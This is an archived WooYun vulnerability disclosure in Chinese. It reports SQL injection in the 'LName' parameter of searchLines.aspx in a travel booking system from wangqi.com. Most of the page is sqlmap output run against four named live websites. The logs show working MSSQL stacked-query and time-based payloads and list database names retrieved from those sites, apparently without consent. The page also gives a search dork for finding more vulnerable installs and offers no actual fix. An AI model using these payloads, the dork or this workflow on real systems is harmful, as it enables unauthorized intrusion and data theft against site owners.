当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-063297

漏洞标题:网奇旗下某系统一处sql注入(无限制通杀型,跟上个漏洞不一样的,演示站点KO)#2

相关厂商:wangqi.com

漏洞作者: Mosuan

提交时间:2014-06-16 11:55

修复时间:2014-09-11 11:56

公开时间:2014-09-11 11:56

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-06-16: 细节已通知厂商并且等待厂商处理中
2014-06-21: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2014-08-15: 细节向核心白帽子及相关领域专家公开
2014-08-25: 细节向普通白帽子公开
2014-09-04: 细节向实习白帽子公开
2014-09-11: 细节向公众公开

简要描述:

呵呵

详细说明:

WooYun: 网奇cms旗下某系统存在sql注入(应该是通杀的,数据库权限都好大) 跟这个是不一样的
关键词

inurl:searchLines.aspx


首先我进入了

http://www.wqetrip.com/xitongjieshao/


这个网站有个地方有演示系统

http://www.bjtour.com.cn/


举几个例子,网速是硬伤,有点数据库太多了,我就不跑完了
演示站点

http://www.bjtour.com.cn/searchLines.aspx?LName=1


注入地址:http://www.bjtour.com.cn/searchLines.aspx?LName=1
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 01:45:07
[01:45:07] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\www.bjtour.com.cn\session' as session file
[01:45:07] [INFO] testing connection to the target url
[01:45:07] [INFO] testing if the url is stable, wait a few seconds
[01:45:09] [INFO] url is stable
[01:45:09] [INFO] testing if GET parameter 'LName' is dynamic
[01:45:09] [INFO] confirming that GET parameter 'LName' is dynamic
[01:45:09] [INFO] GET parameter 'LName' is dynamic
[01:45:09] [INFO] heuristic test shows that GET parameter 'LName' might be injec
table (possible DBMS: Microsoft SQL Server)
[01:45:09] [INFO] testing sql injection on GET parameter 'LName'
[01:45:09] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
parsed error message(s) showed that the back-end DBMS could be Microsoft SQL Ser
ver. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
[01:45:13] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[01:45:14] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[01:45:35] [INFO] GET parameter 'LName' is 'Microsoft SQL Server/Sybase stacked
queries' injectable
[01:45:35] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[01:45:56] [INFO] GET parameter 'LName' is 'Microsoft SQL Server/Sybase time-bas
ed blind' injectable
[01:45:56] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[01:46:05] [INFO] target url appears to be UNION injectable with 1 columns
[01:46:06] [WARNING] if UNION based SQL injection is not detected, please consid
er usage of option '--union-char' (e.g. --union-char=1) and/or try to force the
back-end DBMS (e.g. --dbms=mysql)
[01:46:06] [INFO] checking if the injection point on GET parameter 'LName' is a
false positive
GET parameter 'LName' is vulnerable. Do you want to keep testing the others (if
any)? [y/N] y
sqlmap identified the following injection points with a total of 36 HTTP(s) requ
ests:
---
Place: GET
Parameter: LName
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: LName=1'; WAITFOR DELAY '0:0:5';-- AND 'QzzZ'='QzzZ
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: LName=1' WAITFOR DELAY '0:0:5'-- AND 'uvYl'='uvYl
---
[01:48:06] [INFO] testing Microsoft SQL Server
[01:48:06] [WARNING] it is very important not to stress the network adapter's ba
ndwidth during usage of time-based queries
[01:48:17] [INFO] confirming Microsoft SQL Server
[01:48:37] [INFO] adjusting time delay to 4 seconds due to good response times
[01:48:37] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
[01:48:37] [INFO] fetching database names
[01:48:37] [INFO] fetching number of databases
[01:48:37] [INFO] retrieved: 8
[01:49:05] [INFO] retrieved: master
[01:52:24] [INFO] retrieved: model
[01:55:36] [INFO] retrieved: msdb
[01:57:54] [INFO] retrieved: ReportServer


注入地址:http://www.fengguang.cn/searchLines.aspx?LName=1
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 02:02:11
[02:02:11] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\www.fengguang.cn\session' as session file
[02:02:11] [INFO] testing connection to the target url
[02:02:12] [INFO] testing if the url is stable, wait a few seconds
[02:02:13] [INFO] url is stable
[02:02:13] [INFO] testing if GET parameter 'LName' is dynamic
[02:02:14] [INFO] confirming that GET parameter 'LName' is dynamic
[02:02:14] [INFO] GET parameter 'LName' is dynamic
[02:02:14] [WARNING] heuristic test shows that GET parameter 'LName' might not b
e injectable
[02:02:14] [INFO] testing sql injection on GET parameter 'LName'
[02:02:14] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[02:02:17] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[02:02:19] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[02:02:20] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[02:02:21] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[02:02:22] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[02:02:23] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[02:02:24] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[02:02:45] [INFO] GET parameter 'LName' is 'Microsoft SQL Server/Sybase stacked
queries' injectable
[02:02:45] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[02:02:45] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[02:02:46] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[02:03:07] [INFO] GET parameter 'LName' is 'Microsoft SQL Server/Sybase time-bas
ed blind' injectable
[02:03:07] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[02:03:09] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[02:03:13] [INFO] checking if the injection point on GET parameter 'LName' is a
false positive
GET parameter 'LName' is vulnerable. Do you want to keep testing the others (if
any)? [y/N] y
sqlmap identified the following injection points with a total of 67 HTTP(s) requ
ests:
---
Place: GET
Parameter: LName
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: LName=1'; WAITFOR DELAY '0:0:5';-- AND 'URJe'='URJe
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: LName=1' WAITFOR DELAY '0:0:5'-- AND 'vQHs'='vQHs
---
[02:03:47] [INFO] testing MySQL
[02:03:47] [WARNING] it is very important not to stress the network adapter's ba
ndwidth during usage of time-based queries
[02:03:47] [WARNING] the back-end DBMS is not MySQL
[02:03:47] [INFO] testing Oracle
[02:03:47] [WARNING] the back-end DBMS is not Oracle
[02:03:47] [INFO] testing PostgreSQL
[02:03:48] [WARNING] the back-end DBMS is not PostgreSQL
[02:03:48] [INFO] testing Microsoft SQL Server
[02:03:58] [INFO] confirming Microsoft SQL Server
[02:04:18] [INFO] adjusting time delay to 2 seconds due to good response times
[02:04:19] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
[02:04:19] [INFO] fetching database names
[02:04:19] [INFO] fetching number of databases
[02:04:19] [INFO] retrieved: 6
[02:04:35] [INFO] retrieved: fengguang_data
[02:08:48] [INFO] retrieved: mas


注入地址:http://www.qitsqhd.com/searchLines.aspx?LName=1
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 01:51:02
[01:51:02] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\www.qitsqhd.com\session' as session file
[01:51:02] [INFO] testing connection to the target url
[01:51:02] [INFO] testing if the url is stable, wait a few seconds
[01:51:04] [INFO] url is stable
[01:51:04] [INFO] testing if GET parameter 'LName' is dynamic
[01:51:04] [INFO] confirming that GET parameter 'LName' is dynamic
[01:51:05] [INFO] GET parameter 'LName' is dynamic
[01:51:05] [INFO] heuristic test shows that GET parameter 'LName' might be injec
table (possible DBMS: Microsoft SQL Server)
[01:51:05] [INFO] testing sql injection on GET parameter 'LName'
[01:51:05] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
parsed error message(s) showed that the back-end DBMS could be Microsoft SQL Ser
ver. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
[01:51:24] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[01:51:25] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[01:51:47] [INFO] GET parameter 'LName' is 'Microsoft SQL Server/Sybase stacked
queries' injectable
[01:51:47] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[01:52:07] [INFO] GET parameter 'LName' is 'Microsoft SQL Server/Sybase time-bas
ed blind' injectable
[01:52:07] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[01:52:13] [INFO] target url appears to be UNION injectable with 1 columns
[01:52:14] [WARNING] if UNION based SQL injection is not detected, please consid
er usage of option '--union-char' (e.g. --union-char=1) and/or try to force the
back-end DBMS (e.g. --dbms=mysql)
[01:52:14] [INFO] checking if the injection point on GET parameter 'LName' is a
false positive
GET parameter 'LName' is vulnerable. Do you want to keep testing the others (if
any)? [y/N] y
sqlmap identified the following injection points with a total of 36 HTTP(s) requ
ests:
---
Place: GET
Parameter: LName
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: LName=1'; WAITFOR DELAY '0:0:5';-- AND 'BGev'='BGev
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: LName=1' WAITFOR DELAY '0:0:5'-- AND 'olvt'='olvt
---
[01:52:46] [INFO] testing Microsoft SQL Server
[01:52:46] [WARNING] it is very important not to stress the network adapter's ba
ndwidth during usage of time-based queries
[01:52:56] [INFO] confirming Microsoft SQL Server
[01:53:07] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2000
[01:53:07] [INFO] fetching database names
[01:53:07] [INFO] fetching number of databases
[01:53:07] [INFO] retrieved:
[01:53:17] [INFO] adjusting time delay to 3 seconds due to good response times
574
[01:53:47] [INFO] retrieved: a0810194323
[01:58:09] [INFO] retrieved: a2315335456
[02:02:22] [INFO] retrieved: a502499428
[02:06:27] [INFO] retrieved: a79081458


注入地址:http://www.free-100.net/searchLines.aspx?LName=1
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 01:56:04
[01:56:04] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\www.free-100.net\session' as session file
[01:56:04] [INFO] testing connection to the target url
[01:56:04] [INFO] testing if the url is stable, wait a few seconds
[01:56:06] [INFO] url is stable
[01:56:06] [INFO] testing if GET parameter 'LName' is dynamic
[01:56:06] [INFO] confirming that GET parameter 'LName' is dynamic
[01:56:06] [INFO] GET parameter 'LName' is dynamic
[01:56:06] [INFO] heuristic test shows that GET parameter 'LName' might be injec
table (possible DBMS: Microsoft SQL Server)
[01:56:06] [INFO] testing sql injection on GET parameter 'LName'
[01:56:06] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
parsed error message(s) showed that the back-end DBMS could be Microsoft SQL Ser
ver. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
[01:56:10] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[01:56:11] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[01:56:32] [INFO] GET parameter 'LName' is 'Microsoft SQL Server/Sybase stacked
queries' injectable
[01:56:32] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[01:56:53] [INFO] GET parameter 'LName' is 'Microsoft SQL Server/Sybase time-bas
ed blind' injectable
[01:56:53] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[01:57:04] [INFO] target url appears to be UNION injectable with 1 columns
[01:57:05] [WARNING] if UNION based SQL injection is not detected, please consid
er usage of option '--union-char' (e.g. --union-char=1) and/or try to force the
back-end DBMS (e.g. --dbms=mysql)
[01:57:05] [INFO] checking if the injection point on GET parameter 'LName' is a
false positive
GET parameter 'LName' is vulnerable. Do you want to keep testing the others (if
any)? [y/N] y
sqlmap identified the following injection points with a total of 36 HTTP(s) requ
ests:
---
Place: GET
Parameter: LName
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: LName=1'; WAITFOR DELAY '0:0:5';-- AND 'eKOH'='eKOH
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: LName=1' WAITFOR DELAY '0:0:5'-- AND 'rjSD'='rjSD
---
[02:01:04] [INFO] testing Microsoft SQL Server
[02:01:04] [WARNING] it is very important not to stress the network adapter's ba
ndwidth during usage of time-based queries
[02:01:15] [INFO] confirming Microsoft SQL Server
[02:01:36] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
[02:01:36] [INFO] fetching database names
[02:01:36] [INFO] fetching number of databases
[02:01:36] [INFO] retrieved: 21
[02:02:10] [INFO] retrieved: 123
[02:03:52] [INFO] retrieved: AdventureWo


你们的程序员慢慢测试吧!!

漏洞证明:

详细说明,前面的漏洞求审核啊!!

修复方案:

你们懂的

版权声明:转载请注明来源 Mosuan@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-09-11 11:56

厂商回复:

最新状态:

暂无


漏洞评价:

评论